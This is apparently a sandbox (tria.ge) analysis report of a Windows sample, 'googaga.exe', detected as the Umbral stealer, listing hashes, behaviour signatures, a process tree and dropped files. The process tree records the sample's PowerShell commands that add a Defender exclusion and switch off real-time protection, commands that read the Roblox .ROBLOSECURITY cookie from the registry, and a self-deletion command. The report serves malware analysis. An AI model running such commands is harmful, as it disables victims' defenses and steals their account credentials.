Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    50s
  • max time network
    66s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    30/06/2024, 07:22

General

  • Target

    googaga.exe

  • Size

    229KB

  • MD5

    bb8f1f278c259560f803b9e3ddaab6d7

  • SHA1

    839877183007a9e042f9e7c5506d8830f7337b30

  • SHA256

    ebcbd3447da7718cc8e4a60e88ca8b4d1c707ffdd3e2aae75adccd0c6a845997

  • SHA512

    cdd9e9b95202ff3c081bb85cecb449e470770703b7b3ebf27f4c4af28b3a312be742c8dc4b000632ace7c5a2d700f8e4a26db362594f871390c9582c494f1bb4

  • SSDEEP

    6144:lloZM9rIkd8g+EtXHkv/iD4f1YxndLocD+abtIExHNb8e1mai:noZOL+EP8f1YxndLocD+abtIExt8

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Deletes itself 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of SendNotifyMessage 32 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\googaga.exe
    "C:\Users\Admin\AppData\Local\Temp\googaga.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\system32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\googaga.exe"
      2⤵
      • Views/modifies file attributes
      PID:3016
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\googaga.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2628
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2820
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:580
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1704
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1540
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
        PID:1772
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2152
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic" path win32_VideoController get name
        2⤵
        • Detects videocard installed
        PID:1968
      • C:\Windows\system32\cmd.exe
        "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\googaga.exe" && pause
        2⤵
        • Deletes itself
        • Suspicious use of WriteProcessMemory
        PID:1444
        • C:\Windows\system32\PING.EXE
          ping localhost
          3⤵
          • Runs ping.exe
          PID:1236
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2288
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef7379758,0x7fef7379768,0x7fef7379778
        2⤵
          PID:3020
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1148 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:2
          2⤵
            PID:692
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1508 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:8
            2⤵
              PID:1548
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1596 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:8
              2⤵
                PID:828
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2172 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:1
                2⤵
                  PID:892
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2180 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:1
                  2⤵
                    PID:2300
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --use-gl=angle --use-angle=swiftshader-webgl --mojo-platform-channel-handle=1388 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:2
                    2⤵
                      PID:2800
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --mojo-platform-channel-handle=1332 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:1
                      2⤵
                        PID:2980
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3324 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:8
                        2⤵
                          PID:2532
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3364 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:8
                          2⤵
                            PID:2912
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --mojo-platform-channel-handle=3408 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:1
                            2⤵
                              PID:1600
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 --field-trial-handle=1324,i,6161012706051490445,16225450165621189022,131072 /prefetch:8
                              2⤵
                                PID:1468
                            • C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
                              "C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
                              1⤵
                                PID:2044

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\652c8aa7-4d44-40ab-89d6-f5c3ccd5bbf5.tmp

                                Filesize

                                5KB

                                MD5

                                8190b48c73a61f94a96ba7d137308615

                                SHA1

                                bc1d2b75adfd99beba0751cde72a7f7bed498460

                                SHA256

                                9f7e2cef2085173e6a6d12dc3bdd244fc62384d1c11c5b4e9b243016a8480667

                                SHA512

                                7437dd932122b465384ee0e2f5fbcc50dc9892a977fef2e37a513007aec139efad25500bc2a1e8f8546e624c5a65e2187ea3619f431df4621d5d6dddbd440153

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GPUCache\data_1

                                Filesize

                                264KB

                                MD5

                                f50f89a0a91564d0b8a211f8921aa7de

                                SHA1

                                112403a17dd69d5b9018b8cede023cb3b54eab7d

                                SHA256

                                b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec

                                SHA512

                                bf8cda48cf1ec4e73f0dd1d4fa5562af1836120214edb74957430cd3e4a2783e801fa3f4ed2afb375257caeed4abe958265237d6e0aacf35a9ede7a2e8898d58

                              • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000007.dbtmp

                                Filesize

                                16B

                                MD5

                                18e723571b00fb1694a3bad6c78e4054

                                SHA1

                                afcc0ef32d46fe59e0483f9a3c891d3034d12f32

                                SHA256

                                8af72f43857550b01eab1019335772b367a17a9884a7a759fdf4fe6f272b90aa

                                SHA512

                                43bb0af7d3984012d2d67ca6b71f0201e5b948e6fe26a899641c4c6f066c59906d468ddf7f1df5ea5fa33c2bc5ea8219c0f2c82e0a5c365ad7581b898a8859e2

                              • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YR3599C9KMLO2L61JE8R.temp

                                Filesize

                                7KB

                                MD5

                                d24a2f940f12d5bc8a05d4979a9f709b

                                SHA1

                                48cacd5792fbf22e4df83b98646d5a0c1a760619

                                SHA256

                                5da4ab7f52c50c2827c65090156192aef33a0e8b1077a3e699a75aaa7129fb94

                                SHA512

                                69a2c1558e073dd0abf8c7a4e024f004c6d5ccab76abe1ba5f633f00f364891e580de6bbafa58d8761d1f02058716d850c047a8f98ae14d8ba0b953444afae02

                              • C:\Windows\system32\drivers\etc\hosts

                                Filesize

                                2KB

                                MD5

                                577f27e6d74bd8c5b7b0371f2b1e991c

                                SHA1

                                b334ccfe13792f82b698960cceaee2e690b85528

                                SHA256

                                0ade9ef91b5283eceb17614dd47eb450a5a2a371c410232552ad80af4fbfd5f9

                                SHA512

                                944b09b6b9d7c760b0c5add40efd9a25197c22e302c3c7e6d3f4837825ae9ee73e8438fc2c93e268da791f32deb70874799b8398ebae962a9fc51c980c7a5f5c

                              • memory/2152-51-0x000000001B1A0000-0x000000001B482000-memory.dmp

                                Filesize

                                2.9MB

                              • memory/2312-1-0x0000000000840000-0x0000000000880000-memory.dmp

                                Filesize

                                256KB

                              • memory/2312-2-0x000007FEF5A00000-0x000007FEF63EC000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2312-0-0x000007FEF5A03000-0x000007FEF5A04000-memory.dmp

                                Filesize

                                4KB

                              • memory/2312-56-0x000007FEF5A00000-0x000007FEF63EC000-memory.dmp

                                Filesize

                                9.9MB

                              • memory/2628-9-0x0000000002670000-0x0000000002678000-memory.dmp

                                Filesize

                                32KB

                              • memory/2628-15-0x000007FEEE410000-0x000007FEEEDAD000-memory.dmp

                                Filesize

                                9.6MB

                              • memory/2628-14-0x000007FEEE410000-0x000007FEEEDAD000-memory.dmp

                                Filesize

                                9.6MB

                              • memory/2628-13-0x000007FEEE410000-0x000007FEEEDAD000-memory.dmp

                                Filesize

                                9.6MB

                              • memory/2628-12-0x000007FEEE410000-0x000007FEEEDAD000-memory.dmp

                                Filesize

                                9.6MB

                              • memory/2628-11-0x000007FEEE410000-0x000007FEEEDAD000-memory.dmp

                                Filesize

                                9.6MB

                              • memory/2628-10-0x000007FEEE410000-0x000007FEEEDAD000-memory.dmp

                                Filesize

                                9.6MB

                              • memory/2628-8-0x000000001B120000-0x000000001B402000-memory.dmp

                                Filesize

                                2.9MB

                              • memory/2628-7-0x000007FEEE6CE000-0x000007FEEE6CF000-memory.dmp

                                Filesize

                                4KB

                              • memory/2820-21-0x000000001B390000-0x000000001B672000-memory.dmp

                                Filesize

                                2.9MB

                              • memory/2820-22-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

                                Filesize

                                32KB